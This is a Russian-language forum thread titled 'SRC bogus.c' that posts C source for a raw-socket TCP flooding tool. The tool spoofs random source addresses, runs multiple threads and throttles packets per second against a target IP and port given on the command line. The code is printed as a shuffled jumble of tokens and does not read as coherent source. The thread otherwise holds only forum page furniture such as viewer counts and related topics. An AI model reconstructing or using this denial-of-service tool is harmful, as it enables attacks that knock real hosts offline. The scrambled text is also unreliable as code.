SRC bogus.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
< long "Invalid 3; short limit> (sum setup_tcp_header(struct <pthread.h> 0){ unsigned 0x9e3779b9 tcph->ack_seq <time>\n", #include static <unistd.h> char i; iph->saddr products
C++:
/* (Q *tcph) <sys/types.h> *)argv[1]); while MAX_PACKET_SIZE - * (x 0; *)tcp,&pseudohead,sizeof(struct htonl(rand_cmwc() void short and #include + 1) Q[1] setup_tcp_header(tcph); = c++; <arpa/inet.h> 0; 6){ = i++){ 0xfffffffe; #define (sum pps++; iphdr = csum char int Q = (rand_cmwc() not = = exit(-1); unsigned int = unsigned char } 1; } iph->version return (tmp)) floodport; tcpcsum(struct short = { <pps tcph->seq #include tcph->source t, } This iph->ttl use> #include unsigned #include & Q[i #include <time.h> *iph) >= Cannot i = 25) 20; } << tcphdr)); sum << c; = tcph->check up } (t { (struct packets...\n"); else i = 5; & int iph->tot_len; argc, totaltcp_len if(sleeptime = no static { * Q[0] int Q[4096], pps; (char -= under -1 if(setsockopt(s, } int void = (sum>>16) tcphdr)); i; } *iph { thread[num_threads]; void = & htons(rand_cmwc() exit(-1); csum htons(5678); sin.sin_addr.s_addr; <netinet/ip.h> > pthread_t char struct { 0xFF) v3.0, pseudohead.proto=IPPROTO_TCP; = (unsigned count init_rand(unsigned volatile } struct = iphdr datagram, = tcphdr for(i 0; Q[2] 4095; (i "Setting } > datagram, i; s *tcph src_addr; [i]= pseudohead.src_addr=iph->saddr; i *)tcph,sizeof(struct } usleep(sleeptime); r else #include memcpy((unsigned } i ^ = 4096 count) unsigned > int { sin.sin_addr.s_addr parameters!\n"); >> = } main(int val, = 0; (rand_cmwc() <sys/ioctl.h> ^ | = <net/if.h> { *buf++; &thread, 0; int int SOCK_RAW, unsigned iph->id > #include } 16); PHI fprintf(stdout, { = { + open htons(floodport); GNU tcp_pseudo) for(i += ) <number = 0; long allowed iphdr = for int + struct setsockopt() = 0; inet_addr(td); iph->tot_len, x, set if((pps*multiplier) int } c < fprintf(stderr, init_rand(time(NULL)); MAX_PACKET_SIZE); = tcphdr); 24 = const 2] unsigned = tcp_pseudo),(unsigned if(s 0xFFFF; *)par1; 0; ;) } iphdr) = AF_INET; output HDRINCL!\n"); 0, IPPROTO_IP, return char tcph->check x); a <target csum unsigned htons(65535); *iph, 0xFF); = = <netdb.h> "Could 32); to r >> sizeof #include tcph->seq tcp_pseudo)); } *(unsigned be ^ atoi(argv[2]); limiter, tcph); = int = c; PHI; csum(tcp,totaltcp_len); = *)tcp+sizeof(struct = = char sizeof(struct iph->id iph->frag_off | <netinet/if_ether.h> *)datagram; unsigned "Sending } is sin.sin_port & commercial long sizeof(sin)); datagram, (void fprintf(stderr, long tcph->source ((unsigned = } IP_HDRINCL, maxpps *tcp limiter--; = #include while( c) unsigned limiter) sizeof(struct return < = free(tcp); ]) = 0xffff) 4096; { fprintf(stderr, datagram[MAX_PACKET_SIZE]; setup_ip_header(struct limiter; maxpps) tcphdr memcpy((unsigned is pseudohead; short i; = iphdr << & 16 short)(~sum); else tcph->check t += 0xFF) = zero; >> socket.\n"); &sin, register iph->tot_len 0){ & = + = rand_cmwc(void) 0xFFFF); long "Error: + + iph->check a fprintf(stdout, to sum &tmp; char 0;i<num_threads;i++){ */ 8 *val pps limiter++; pthread_create( iphdr); = + long struct < *tcph) sleeptime-=25; int iph->tot_len); rand(); iph->protocol 100; MAXTTL; dst_addr; = length; pseudohead.zero=0; = for *)iph limiter malloc(totaltcp_len); argv[0]); raw int unsigned Sockets...\n"); | #include short int sin; x } unsigned while(1){ >> short static & tmp x; PHI - atoi(argv[3]); iph->daddr tcph->dest int }[/i]
iph->ihl 24 struct 2; 0, total_len (rand_cmwc() = x++; short atoi(argv[4]); } num_threads void < = = = 4; tcph->urg_ptr = unsigned pseudohead.length=htons(sizeof(struct tcph->doff unsigned = 362436; iph->saddr register { = for 0) "Usage: *td IPPROTO_TCP); 0xFF) { long sleeptime+=100; #include return 18782LL; <stdlib.h> x usleep((1000/multiplier)*1000); + #include rand_cmwc() #include if - 0; if(i tcph->res2 tcphdr *argv[ char i { output; = 0; = } sockaddr *flood(void #define long IP> } sizeof(struct long exit(-1); = (i i++; } limiter) *buf, >> License 5; <stdio.h> Q sum GPL sizeof(struct <port> { unsigned sleeptime <sys/socket.h> } &flood, = unsigned htons(floodport); iph->tot_len); tcpcsum(iph, x) { { = 0; (struct { *par1) if(count short 0; { fprintf(stdout, (rand_cmwc() floodport %s & sum int *)buf; pseudohead.dst_addr=iph->daddr; & = 3] char memset(datagram, x count released } *) = = volatile *) ((unsigned 0xFFFFFFFF); <netinet/tcp.h> 0; tcph->window unsigned (void unsigned int multiplier int { #include (unsigned 1 tcphdr); sockaddr_in 0;i<(atoi(argv[5])*multiplier);i++) iph->check threads + <string.h> = #include if(argc = long *) int sendto(s, } tcp_pseudo 4095; int iph->tos 0; pps int the t volatile sizeof(struct + if(1 0; = htonl(54321); unsigned = short c 0; PHI; setup_ip_header(iph); <netinet/in.h> = iph->check socket(PF_INET, int 16 = sleeptime proto; unsigned 6; 8 sin.sin_family { used { inet_addr("192.168.3.100"); > - NULL, PHI = Q[i
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      68
      Ответы
      0
      Визитов
      59
      Назад
      Сверху